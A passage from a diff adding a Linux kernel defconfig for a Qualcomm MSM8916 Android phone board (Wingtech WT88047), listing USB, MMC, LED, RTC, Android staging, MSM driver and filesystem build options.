CONFIG_USB_DWC3 is not set +# CONFIG_USB_CHIPIDEA is not set + +# +# USB port drivers +# +CONFIG_USB_SERIAL=y +# CONFIG_USB_SERIAL_CONSOLE is not set +# CONFIG_USB_SERIAL_GENERIC is not set +# CONFIG_USB_SERIAL_AIRCABLE is not set +# CONFIG_USB_SERIAL_ARK3116 is not set +# CONFIG_USB_SERIAL_BELKIN is not set +# CONFIG_USB_SERIAL_CH341 is not set +# CONFIG_USB_SERIAL_WHITEHEAT is not set +# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set +# CONFIG_USB_SERIAL_CP210X is not set +# CONFIG_USB_SERIAL_CYPRESS_M8 is not set +# CONFIG_USB_SERIAL_EMPEG is not set +# CONFIG_USB_SERIAL_FTDI_SIO is not set +# CONFIG_USB_SERIAL_FUNSOFT is not set +# CONFIG_USB_SERIAL_VISOR is not set +# CONFIG_USB_SERIAL_IPAQ is not set +# CONFIG_USB_SERIAL_IR is not set +# CONFIG_USB_SERIAL_EDGEPORT is not set +# CONFIG_USB_SERIAL_EDGEPORT_TI is not set +# CONFIG_USB_SERIAL_F81232 is not set +# CONFIG_USB_SERIAL_GARMIN is not set +# CONFIG_USB_SERIAL_IPW is not set +# CONFIG_USB_SERIAL_IUU is not set +# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set +# CONFIG_USB_SERIAL_KEYSPAN is not set +# CONFIG_USB_SERIAL_KLSI is not set +# CONFIG_USB_SERIAL_KOBIL_SCT is not set +# CONFIG_USB_SERIAL_MCT_U232 is not set +# CONFIG_USB_SERIAL_METRO is not set +# CONFIG_USB_SERIAL_MOS7720 is not set +# CONFIG_USB_SERIAL_MOS7840 is not set +# CONFIG_USB_SERIAL_MOTOROLA is not set +# CONFIG_USB_SERIAL_NAVMAN is not set +# CONFIG_USB_SERIAL_PL2303 is not set +# CONFIG_USB_SERIAL_OTI6858 is not set +# CONFIG_USB_SERIAL_QCAUX is not set +# CONFIG_USB_SERIAL_QUALCOMM is not set +# CONFIG_USB_SERIAL_SPCP8X5 is not set +# CONFIG_USB_SERIAL_HP4X is not set +# CONFIG_USB_SERIAL_SAFE is not set +# CONFIG_USB_SERIAL_SIEMENS_MPI is not set +# CONFIG_USB_SERIAL_SIERRAWIRELESS is not set +# CONFIG_USB_SERIAL_SYMBOL is not set +# CONFIG_USB_SERIAL_TI is not set +# CONFIG_USB_SERIAL_CYBERJACK is not set +# CONFIG_USB_SERIAL_XIRCOM is not set +# CONFIG_USB_SERIAL_OPTION is not set +# CONFIG_USB_SERIAL_OMNINET is not set +# CONFIG_USB_SERIAL_OPTICON is not set +# CONFIG_USB_SERIAL_VIVOPAY_SERIAL is not set +# CONFIG_USB_SERIAL_XSENS_MT is not set +# CONFIG_USB_SERIAL_ZIO is not set +# CONFIG_USB_SERIAL_WISHBONE is not set +# CONFIG_USB_SERIAL_ZTE is not set +# CONFIG_USB_SERIAL_SSU100 is not set +# CONFIG_USB_SERIAL_QT2 is not set +CONFIG_USB_SERIAL_CSVT=y +# CONFIG_USB_SERIAL_DEBUG is not set + +# +# USB Miscellaneous drivers +# +# CONFIG_USB_EMI62 is not set +# CONFIG_USB_EMI26 is not set +# CONFIG_USB_ADUTUX is not set +# CONFIG_USB_SEVSEG is not set +# CONFIG_USB_RIO500 is not set +# CONFIG_USB_LEGOTOWER is not set +# CONFIG_USB_LCD is not set +# CONFIG_USB_LED is not set +# CONFIG_USB_CYPRESS_CY7C63 is not set +# CONFIG_USB_CYTHERM is not set +# CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set +# CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_USB_SISUSBVGA is not set +# CONFIG_USB_LD is not set +# CONFIG_USB_TRANCEVIBRATOR is not set +# CONFIG_USB_IOWARRIOR is not set +# CONFIG_USB_TEST is not set +CONFIG_USB_EHSET_TEST_FIXTURE=y +# CONFIG_USB_ISIGHTFW is not set +# CONFIG_USB_YUREX is not set +# CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_HSIC_USB3503 is not set +# CONFIG_USB_QCOM_DIAG_BRIDGE is not set +# CONFIG_USB_QCOM_MDM_BRIDGE is not set +# CONFIG_USB_QCOM_KS_BRIDGE is not set +# CONFIG_USB_QCOM_IPC_BRIDGE is not set +CONFIG_USB_PHY=y +CONFIG_USB_OTG_WAKELOCK=y +# CONFIG_NOP_USB_XCEIV is not set +# CONFIG_OMAP_CONTROL_USB is not set +# CONFIG_OMAP_USB3 is not set +# CONFIG_SAMSUNG_USBPHY is not set +# CONFIG_SAMSUNG_USB2PHY is not set +# CONFIG_SAMSUNG_USB3PHY is not set +# CONFIG_USB_MSM_OTG_72K is not set +# CONFIG_USB_GPIO_VBUS is not set +# CONFIG_USB_ISP1301 is not set +CONFIG_USB_MSM_OTG=y +# CONFIG_USB_MSM_ACA is not set +# CONFIG_USB_MSM_HSPHY is not set +# CONFIG_USB_MSM_SSPHY is not set +# CONFIG_USB_MSM_SSPHY_QMP is not set +# CONFIG_MSM_QUSB_PHY is not set +# CONFIG_USB_RCAR_PHY is not set +# CONFIG_USB_ULPI is not set +CONFIG_USB_GADGET=y +# CONFIG_USB_GADGET_DEBUG is not set +CONFIG_USB_GADGET_DEBUG_FILES=y +CONFIG_USB_GADGET_DEBUG_FS=y +CONFIG_USB_GADGET_VBUS_DRAW=500 +CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2 + +# +# USB Peripheral Controller +# +# CONFIG_USB_FUSB300 is not set +# CONFIG_USB_R8A66597 is not set +# CONFIG_USB_PXA27X is not set +# CONFIG_USB_MV_UDC is not set +# CONFIG_USB_MV_U3D is not set +# CONFIG_USB_M66592 is not set +# CONFIG_USB_NET2272 is not set +CONFIG_USB_CI13XXX_MSM=y +# CONFIG_USB_CI13XXX_MSM_HSIC is not set +# CONFIG_USB_DWC3_MSM is not set +# CONFIG_USB_DUMMY_HCD is not set +CONFIG_USB_LIBCOMPOSITE=y +CONFIG_USB_F_ACM=y +CONFIG_USB_U_SERIAL=y +CONFIG_USB_F_SERIAL=y +# CONFIG_USB_ZERO is not set +# CONFIG_USB_AUDIO is not set +# CONFIG_USB_ETH is not set +# CONFIG_USB_G_NCM is not set +# CONFIG_USB_GADGETFS is not set +# CONFIG_USB_FUNCTIONFS is not set +# CONFIG_USB_MASS_STORAGE is not set +# CONFIG_USB_G_SERIAL is not set +# CONFIG_USB_MIDI_GADGET is not set +# CONFIG_USB_G_PRINTER is not set +CONFIG_USB_G_ANDROID=y +# CONFIG_USB_ANDROID_RNDIS_DWORD_ALIGNED is not set +# CONFIG_USB_CDC_COMPOSITE is not set +# CONFIG_USB_G_ACM_MS is not set +# CONFIG_USB_G_MULTI is not set +# CONFIG_USB_G_HID is not set +# CONFIG_USB_G_DBGP is not set +# CONFIG_USB_G_WEBCAM is not set +CONFIG_USB_CSW_HACK=y +# CONFIG_USB_MSC_PROFILING is not set +CONFIG_MODEM_SUPPORT=y +CONFIG_RMNET_SMD_CTL_CHANNEL="DATA40_CNTL" +CONFIG_RMNET_SMD_DATA_CHANNEL="DATA40" +CONFIG_MMC=y +# CONFIG_MMC_DEBUG is not set +CONFIG_MMC_PERF_PROFILING=y +CONFIG_MMC_UNSAFE_RESUME=y +CONFIG_MMC_CLKGATE=y +CONFIG_MMC_EMBEDDED_SDIO=y +CONFIG_MMC_PARANOID_SD_INIT=y + +# +# MMC/SD/SDIO Card Drivers +# +CONFIG_MMC_BLOCK=y +CONFIG_MMC_BLOCK_MINORS=32 +CONFIG_MMC_BLOCK_BOUNCE=y +# CONFIG_MMC_BLOCK_DEFERRED_RESUME is not set +# CONFIG_SDIO_UART is not set +# CONFIG_MMC_TEST is not set + +# +# MMC/SD/SDIO Host Controller Drivers +# +CONFIG_MMC_SDHCI=y +CONFIG_MMC_SDHCI_PLTFM=y +CONFIG_MMC_SDHCI_MSM=y +# CONFIG_MMC_SDHCI_PXAV3 is not set +# CONFIG_MMC_SDHCI_PXAV2 is not set +# CONFIG_MMC_DW is not set +# CONFIG_MMC_VUB300 is not set +# CONFIG_MMC_USHC is not set +# CONFIG_MEMSTICK is not set +CONFIG_NEW_LEDS=y +CONFIG_LEDS_CLASS=y + +# +# LED drivers +# +# CONFIG_LEDS_LM3530 is not set +# CONFIG_LEDS_LM3642 is not set +# CONFIG_LEDS_PCA9532 is not set +CONFIG_LEDS_GPIO=y +# CONFIG_LEDS_LP3944 is not set +# CONFIG_LEDS_LP5521 is not set +# CONFIG_LEDS_LP5523 is not set +# CONFIG_LEDS_LP5562 is not set +# CONFIG_LEDS_PCA955X is not set +# CONFIG_LEDS_PCA9633 is not set +# CONFIG_LEDS_QPNP is not set +# CONFIG_LEDS_QPNP_FLASH is not set +# CONFIG_LEDS_QPNP_WLED is not set +CONFIG_LEDS_MSM_GPIO_FLASH=y +# CONFIG_LEDS_DAC124S085 is not set +# CONFIG_LEDS_PWM is not set +# CONFIG_LEDS_REGULATOR is not set +CONFIG_LEDS_AW2013=y +# CONFIG_SET_AW2013_VCC_AND_NOT_PULLDWN is not set +# CONFIG_LEDS_BD2802 is not set +# CONFIG_LEDS_LT3593 is not set +# CONFIG_LEDS_RENESAS_TPU is not set +# CONFIG_LEDS_TCA6507 is not set +# CONFIG_LEDS_LM355x is not set +# CONFIG_LEDS_OT200 is not set +# CONFIG_LEDS_BLINKM is not set + +# +# LED Triggers +# +CONFIG_LEDS_TRIGGERS=y +# CONFIG_LEDS_TRIGGER_TIMER is not set +# CONFIG_LEDS_TRIGGER_ONESHOT is not set +# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set +# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set +# CONFIG_LEDS_TRIGGER_CPU is not set +# CONFIG_LEDS_TRIGGER_GPIO is not set +# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set + +# +# iptables trigger is under Netfilter config (LED target) +# +# CONFIG_LEDS_TRIGGER_TRANSIENT is not set +# CONFIG_LEDS_TRIGGER_CAMERA is not set +CONFIG_SWITCH=y +# CONFIG_SWITCH_GPIO is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_EDAC is not set +CONFIG_RTC_LIB=y +CONFIG_RTC_CLASS=y +CONFIG_RTC_HCTOSYS=y +CONFIG_RTC_SYSTOHC=y +CONFIG_RTC_HCTOSYS_DEVICE="rtc0" +# CONFIG_RTC_DEBUG is not set + +# +# RTC interfaces +# +CONFIG_RTC_INTF_SYSFS=y +CONFIG_RTC_INTF_PROC=y +CONFIG_RTC_INTF_DEV=y +# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set +# CONFIG_RTC_DRV_TEST is not set + +# +# I2C RTC drivers +# +# CONFIG_RTC_DRV_DS1307 is not set +# CONFIG_RTC_DRV_DS1374 is not set +# CONFIG_RTC_DRV_DS1672 is not set +# CONFIG_RTC_DRV_DS3232 is not set +# CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_RS5C372 is not set +# CONFIG_RTC_DRV_ISL1208 is not set +# CONFIG_RTC_DRV_ISL12022 is not set +# CONFIG_RTC_DRV_X1205 is not set +# CONFIG_RTC_DRV_PCF8523 is not set +# CONFIG_RTC_DRV_PCF8563 is not set +# CONFIG_RTC_DRV_PCF8583 is not set +# CONFIG_RTC_DRV_M41T80 is not set +# CONFIG_RTC_DRV_BQ32K is not set +# CONFIG_RTC_DRV_S35390A is not set +# CONFIG_RTC_DRV_FM3130 is not set +# CONFIG_RTC_DRV_RX8581 is not set +# CONFIG_RTC_DRV_RX8025 is not set +# CONFIG_RTC_DRV_EM3027 is not set +# CONFIG_RTC_DRV_RV3029C2 is not set + +# +# SPI RTC drivers +# +# CONFIG_RTC_DRV_M41T93 is not set +# CONFIG_RTC_DRV_M41T94 is not set +# CONFIG_RTC_DRV_DS1305 is not set +# CONFIG_RTC_DRV_DS1390 is not set +# CONFIG_RTC_DRV_MAX6902 is not set +# CONFIG_RTC_DRV_R9701 is not set +# CONFIG_RTC_DRV_RS5C348 is not set +# CONFIG_RTC_DRV_DS3234 is not set +# CONFIG_RTC_DRV_PCF2123 is not set +# CONFIG_RTC_DRV_RX4581 is not set + +# +# Platform RTC drivers +# +# CONFIG_RTC_DRV_CMOS is not set +# CONFIG_RTC_DRV_DS1286 is not set +# CONFIG_RTC_DRV_DS1511 is not set +# CONFIG_RTC_DRV_DS1553 is not set +# CONFIG_RTC_DRV_DS1742 is not set +# CONFIG_RTC_DRV_STK17TA8 is not set +# CONFIG_RTC_DRV_M48T86 is not set +# CONFIG_RTC_DRV_M48T35 is not set +# CONFIG_RTC_DRV_M48T59 is not set +# CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set +# CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set +# CONFIG_RTC_DRV_DS2404 is not set + +# +# on-CPU RTC drivers +# +# CONFIG_RTC_DRV_SNVS is not set +CONFIG_RTC_DRV_QPNP=y + +# +# HID Sensor RTC drivers +# +# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set +# CONFIG_ESOC is not set +CONFIG_DMADEVICES=y +# CONFIG_DMADEVICES_DEBUG is not set + +# +# DMA Devices +# +CONFIG_QCOM_SPS_DMA=y +# CONFIG_TIMB_DMA is not set +CONFIG_DMA_ENGINE=y +CONFIG_DMA_OF=y + +# +# DMA Clients +# +# CONFIG_ASYNC_TX_DMA is not set +# CONFIG_DMATEST is not set +# CONFIG_AUXDISPLAY is not set +CONFIG_UIO=y +# CONFIG_UIO_PDRV is not set +# CONFIG_UIO_PDRV_GENIRQ is not set +# CONFIG_UIO_DMEM_GENIRQ is not set +CONFIG_UIO_MSM_SHAREDMEM=y +# CONFIG_VFIO is not set +# CONFIG_VIRT_DRIVERS is not set + +# +# Virtio drivers +# +# CONFIG_VIRTIO_MMIO is not set + +# +# Microsoft Hyper-V guest support +# +CONFIG_STAGING=y +# CONFIG_USBIP_CORE is not set +# CONFIG_PRISM2_USB is not set +# CONFIG_ECHO is not set +# CONFIG_ASUS_OLED is not set +# CONFIG_R8712U is not set +# CONFIG_RTS5139 is not set +# CONFIG_TRANZPORT is not set +# CONFIG_LINE6_USB is not set +# CONFIG_USB_SERIAL_QUATECH2 is not set +CONFIG_ZSMALLOC=y +CONFIG_ZRAM=y +# CONFIG_ZRAM_DEBUG is not set +# CONFIG_BCM_WIMAX is not set +# CONFIG_FT1000 is not set + +# +# Speakup console speech +# +# CONFIG_TOUCHSCREEN_CLEARPAD_TM1217 is not set +# CONFIG_STAGING_MEDIA is not set + +# +# Android +# +CONFIG_ANDROID=y +CONFIG_ANDROID_BINDER_IPC=y +CONFIG_ANDROID_BINDER_IPC_32BIT=y +CONFIG_ASHMEM=y +# CONFIG_ANDROID_LOGGER is not set +CONFIG_ANDROID_TIMED_OUTPUT=y +CONFIG_ANDROID_TIMED_GPIO=y +CONFIG_ANDROID_LOW_MEMORY_KILLER=y +CONFIG_ANDROID_LOW_MEMORY_KILLER_AUTODETECT_OOM_ADJ_VALUES=y +CONFIG_ANDROID_INTF_ALARM_DEV=y +CONFIG_SYNC=y +CONFIG_SW_SYNC=y +# CONFIG_SW_SYNC_USER is not set +CONFIG_ONESHOT_SYNC=y +# CONFIG_ONESHOT_SYNC_USER is not set +CONFIG_ION=y +# CONFIG_ION_TEST is not set +CONFIG_ION_MSM=y +# CONFIG_ALLOC_BUFFERS_IN_4K_CHUNKS is not set +# CONFIG_FIQ_DEBUGGER is not set +# CONFIG_FIQ_WATCHDOG is not set +# CONFIG_USB_WPAN_HCD is not set +# CONFIG_WIMAX_GDM72XX is not set +# CONFIG_CED1401 is not set +# CONFIG_DGRP is not set + +# +# Qualcomm Atheros Prima WLAN module +# +# CONFIG_PRIMA_WLAN is not set +CONFIG_PRONTO_WLAN=y +# CONFIG_PRIMA_WLAN_BTAMP is not set +CONFIG_PRIMA_WLAN_LFR=y +CONFIG_PRIMA_WLAN_OKC=y +CONFIG_PRIMA_WLAN_11AC_HIGH_TP=y +CONFIG_QCOM_TDLS=y +CONFIG_WLAN_FEATURE_11W=y +CONFIG_QCOM_VOWIFI_11R=y +CONFIG_ENABLE_LINUX_REG=y +# CONFIG_MACH_LONGCHEER is not set +# CONFIG_MACH_LONGCHEER_MSM8916 is not set + +# +# LC board selection +# +# CONFIG_MACH_CRACKLING is not set + +# +# Qualcomm MSM specific device drivers +# +# CONFIG_MSM_SSBI is not set +CONFIG_SPS=y +# CONFIG_USB_BAM is not set +# CONFIG_SPS_SUPPORT_BAMDMA is not set +CONFIG_SPS_SUPPORT_NDP_BAM=y +CONFIG_QPNP_POWER_ON=y +# CONFIG_QPNP_CLKDIV is not set +CONFIG_QPNP_VIBRATOR=y +CONFIG_QPNP_REVID=y +# CONFIG_QPNP_COINCELL is not set +# CONFIG_QPNP_USB_DETECT is not set +# CONFIG_IPA is not set +# CONFIG_KLM is not set +CONFIG_MSM_AVTIMER=y +# CONFIG_SSM is not set +# CONFIG_MSM_MHI is not set +# CONFIG_QCA1530 is not set +# CONFIG_PFT is not set +# CONFIG_MSM_SPSS is not set +CONFIG_MSM_BUS_SCALING=y +# CONFIG_MSM_BUSPM_DEV is not set +CONFIG_BUS_TOPOLOGY_ADHOC=y +# CONFIG_DEBUG_BUS_VOTER is not set +# CONFIG_I2C_MSM_PROF_DBG is not set +# CONFIG_MSM_UIM_HSL is not set +# CONFIG_QPNP_HAPTIC is not set +# CONFIG_SEEMP_CORE is not set +# CONFIG_MACH_HAIER is not set +# CONFIG_MACH_HAIER_MSM8916 is not set + +# +# Haier board selection +# +# CONFIG_MACH_RENDANG is not set +CONFIG_MACH_WINGTECH=y +CONFIG_MACH_WINGTECH_MSM8916=y + +# +# Wingtech board selection +# +CONFIG_MACH_WT88047=y +CONFIG_CLKDEV_LOOKUP=y +CONFIG_HAVE_CLK_PREPARE=y +# CONFIG_MSM_CLK_CONTROLLER_V2 is not set +CONFIG_MSM_MDSS_PLL=y +CONFIG_HWSPINLOCK=y + +# +# Hardware Spinlock drivers +# +CONFIG_REMOTE_SPINLOCK_MSM=y +CONFIG_CLKSRC_OF=y +CONFIG_ARM_ARCH_TIMER=y +CONFIG_ARM_ARCH_TIMER_EVTSTREAM=y +# CONFIG_MAILBOX is not set +CONFIG_IOMMU_SUPPORT=y +CONFIG_OF_IOMMU=y +CONFIG_MSM_IOMMU=y +CONFIG_MSM_IOMMU_V1=y +# CONFIG_IOMMU_PGTABLES_L2 is not set +# CONFIG_IOMMU_LPAE is not set +# CONFIG_MSM_IOMMU_VBIF_CHECK is not set +# CONFIG_IOMMU_NON_SECURE is not set +# CONFIG_IOMMU_FORCE_4K_MAPPINGS is not set +# CONFIG_MSM_IOMMU_TLBINVAL_ON_MAP is not set +# CONFIG_MMU500_ACTIVE_PREFETCH_BUG_WITH_SECTION_MAPPING is not set + +# +# Remoteproc drivers +# +# CONFIG_STE_MODEM_RPROC is not set + +# +# Rpmsg drivers +# +CONFIG_PM_DEVFREQ=y + +# +# DEVFREQ Governors +# +CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND=y +CONFIG_DEVFREQ_GOV_PERFORMANCE=y +CONFIG_DEVFREQ_GOV_POWERSAVE=y +CONFIG_DEVFREQ_GOV_USERSPACE=y +CONFIG_DEVFREQ_GOV_CPUFREQ=y +CONFIG_DEVFREQ_GOV_MSM_ADRENO_TZ=y +CONFIG_MSM_BIMC_BWMON=y +CONFIG_ARMBW_HWMON=y +CONFIG_DEVFREQ_GOV_MSM_GPUBW_MON=y +CONFIG_DEVFREQ_GOV_MSM_BW_HWMON=y +# CONFIG_DEVFREQ_GOV_MSM_CACHE_HWMON is not set +# CONFIG_DEVFREQ_GOV_SPDM_HYP is not set + +# +# DEVFREQ Drivers +# +CONFIG_DEVFREQ_SIMPLE_DEV=y +CONFIG_MSM_DEVFREQ_DEVBW=y +# CONFIG_DEVFREQ_SPDM is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +CONFIG_PWM=y +CONFIG_PWM_QPNP=y +CONFIG_IRQCHIP=y +CONFIG_ARM_GIC=y +CONFIG_MSM_SHOW_RESUME_IRQ=y +CONFIG_MSM_IRQ=y +# CONFIG_IPACK_BUS is not set +# CONFIG_MOBICORE_SUPPORT is not set +# CONFIG_RESET_CONTROLLER is not set +# CONFIG_CORESIGHT is not set +# CONFIG_BIF is not set +CONFIG_SENSORS=y +# CONFIG_SENSORS_SSC is not set + +# +# PHY Subsystem +# +# CONFIG_GENERIC_PHY is not set +# CONFIG_PHY_MSM_SATA is not set +CONFIG_MSM_BAM_DMUX=y +CONFIG_MSM_EVENT_TIMER=y +CONFIG_MSM_IPC_ROUTER_SMD_XPRT=y +# CONFIG_MSM_JTAG is not set +# CONFIG_MSM_JTAG_MM is not set +# CONFIG_MSM_JTAGV8 is not set +CONFIG_MSM_QMI_INTERFACE=y +CONFIG_MSM_SMD=y +# CONFIG_MSM_SMD_DEBUG is not set +CONFIG_MSM_MPM_OF=y +CONFIG_MSM_RPM_SMD=y +# CONFIG_MSM_RPM_RBCPR_STATS_V2_LOG is not set +CONFIG_MSM_RPM_LOG=y +CONFIG_MSM_RPM_STATS_LOG=y +CONFIG_MSM_RUN_QUEUE_STATS=y +CONFIG_MSM_SMEM=y +CONFIG_MSM_SMEM_LOGGING=y +CONFIG_MSM_SMP2P=y +CONFIG_MSM_SMP2P_TEST=y +CONFIG_MSM_SPM=y +CONFIG_MSM_L2_SPM=y +# CONFIG_MSM_QDSP6_APRV2 is not set +CONFIG_MSM_QDSP6_APRV3=y +CONFIG_MSM_ADSP_LOADER=y +# CONFIG_MSM_MEMORY_DUMP is not set +CONFIG_MSM_MEMORY_DUMP_V2=y +# CONFIG_MSM_DEBUG_LAR_UNLOCK is not set +# CONFIG_MSM_DDR_HEALTH is not set +CONFIG_MSM_COMMON_LOG=y +CONFIG_MSM_WATCHDOG_V2=y +# CONFIG_MSM_FORCE_WDOG_BITE_ON_PANIC is not set +# CONFIG_MSM_HVC is not set +# CONFIG_MSM_HYP_DEBUG is not set +CONFIG_MSM_SUBSYSTEM_RESTART=y +CONFIG_MSM_SYSMON_COMM=y +CONFIG_MSM_PIL=y +CONFIG_MSM_PIL_SSR_GENERIC=y +CONFIG_MSM_PIL_MSS_QDSP6V5=y +CONFIG_MSM_OCMEM=y +CONFIG_MSM_OCMEM_LOCAL_POWER_CTRL=y +# CONFIG_MSM_OCMEM_DEBUG is not set +# CONFIG_MSM_OCMEM_POWER_DISABLE is not set +CONFIG_MSM_BOOT_STATS=y +CONFIG_MSM_SCM=y +# CONFIG_MAXIMUM_CURRENT_THROTTLING is not set +CONFIG_MSM_CPU_PWR_CTL=y +# CONFIG_MSM_XPU_ERR_FATAL is not set +# CONFIG_MSM_CACHE_DUMP is not set +# CONFIG_MSM_CPUSS_DUMP is not set +# CONFIG_MSM_SHARED_HEAP_ACCESS is not set +# CONFIG_MSM_SYSTEM_HEALTH_MONITOR is not set +# CONFIG_QCOM_EARLY_RANDOM is not set +# CONFIG_MSM_PACMAN is not set +CONFIG_MSM_CORE_CTL_HELPER=y +CONFIG_MSM_PERFORMANCE=y +CONFIG_MSM_PERFORMANCE_HOTPLUG_ON=y +CONFIG_MEM_SHARE_QMI_SERVICE=y + +# +# Firmware Drivers +# +# CONFIG_FIRMWARE_MEMMAP is not set +CONFIG_MSM_TZ_LOG=y + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +CONFIG_EXT4_FS=y +CONFIG_EXT4_USE_FOR_EXT23=y +CONFIG_EXT4_FS_POSIX_ACL=y +CONFIG_EXT4_FS_SECURITY=y +# CONFIG_EXT4_DEBUG is not set +CONFIG_JBD2=y +# CONFIG_JBD2_DEBUG is not set +CONFIG_FS_MBCACHE=y +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_OCFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +CONFIG_FS_POSIX_ACL=y +CONFIG_FILE_LOCKING=y +CONFIG_FSNOTIFY=y +CONFIG_DNOTIFY=y +CONFIG_INOTIFY_USER=y +# CONFIG_FANOTIFY is not set +# CONFIG_QUOTA is not set +# CONFIG_QUOTACTL is not set +# CONFIG_AUTOFS4_FS is not set +CONFIG_FUSE_FS=y +# CONFIG_CUSE is not set +CONFIG_GENERIC_ACL=y + +# +# Caches +# +# CONFIG_FSCACHE is not set + +# +# CD-ROM/DVD Filesystems +# +# CONFIG_ISO9660_FS is not set +# CONFIG_UDF_FS is not set + +# +# DOS/FAT/NT Filesystems +# +CONFIG_FAT_FS=y +CONFIG_MSDOS_FS=y +CONFIG_VFAT_FS=y +CONFIG_FAT_DEFAULT_CODEPAGE=437 +CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" +# CONFIG_NTFS_FS is not set + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +CONFIG_PROC_SYSCTL=y +CONFIG_PROC_PAGE_MONITOR=y +CONFIG_SYSFS=y +CONFIG_TMPFS=y +CONFIG_TMPFS_POSIX_ACL=y +CONFIG_TMPFS_XATTR=y +# CONFIG_HUGETLB_PAGE is not set +CONFIG_CONFIGFS_FS=y +CONFIG_MISC_FILESYSTEMS=y +# CONFIG_ADFS_FS is not set +# CONFIG_AFFS_FS is not set +# CONFIG_ECRYPT_FS is not set +# CONFIG_HFS_FS is not set +# CONFIG_HFSPLUS_FS is not set +# CONFIG_BEFS_FS is not set +# CONFIG_BFS_FS is not set +# CONFIG_EFS_FS is not set +# CONFIG_LOGFS is not set +# CONFIG_CRAMFS is not set +# CONFIG_SQUASHFS is not set +# CONFIG_VXFS_FS is not set +# CONFIG_MINIX_FS is not set +# CONFIG_OMFS_FS is not set +# CONFIG_HPFS_FS is not set +# CONFIG_QNX4FS_FS is not set +# CONFIG_QNX6FS_FS is not set +# CONFIG_ROMFS_FS is not set +CONFIG_PSTORE=y +CONFIG_PSTORE_CONSOLE=y +# CONFIG_PSTORE_PMSG is not set +CONFIG_PSTORE_RAM=y +# CONFIG_SYSV_FS is not set +# CONFIG_UFS_FS is not set +# CONFIG_F2FS_FS is not set +CONFIG_NETWORK_FILESYSTEMS=y +CONFIG_NFS_FS=y +CONFIG_NFS_V2=y +CONFIG_NFS_V3=y +# CONFIG_NFS_V3_ACL is not set +# CONFIG_NFS_V4 is not set +# CONFIG_NFS_SWAP is not set +# CONFIG_ROOT_NFS is not set +# CONFIG_NFSD is not set +CONFIG_LOCKD=y +CONFIG_LOCKD_V4=y +CONFIG_NFS_COMMON=y +CONFIG_SUNRPC=y +# CONFIG_SUNRPC_DEBUG is not set +# CONFIG_CEPH_FS is not set +CONFIG_CIFS=y +# CONFIG_CIFS_STATS is not set +# CONFIG_CIFS_WEAK_PW_HASH is not set +# CONFIG_CIFS_UPCALL is not set +# CONFIG_CIFS_XATTR is not set +# CONFIG_CIFS_DEBUG is not set +# CONFIG_CIFS_DFS_UPCALL is not set +# CONFIG_CIFS_SMB2 is not set +# CONFIG_NCP_FS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="iso8859-1" +CONFIG_NLS_CODEPAGE_437=y +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +CONFIG_NLS_ASCII=y +CONFIG_NLS_ISO8859_1=y +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +# CONFIG_NLS_UTF8 is not set +# CONFIG_DLM is not set + +# +# 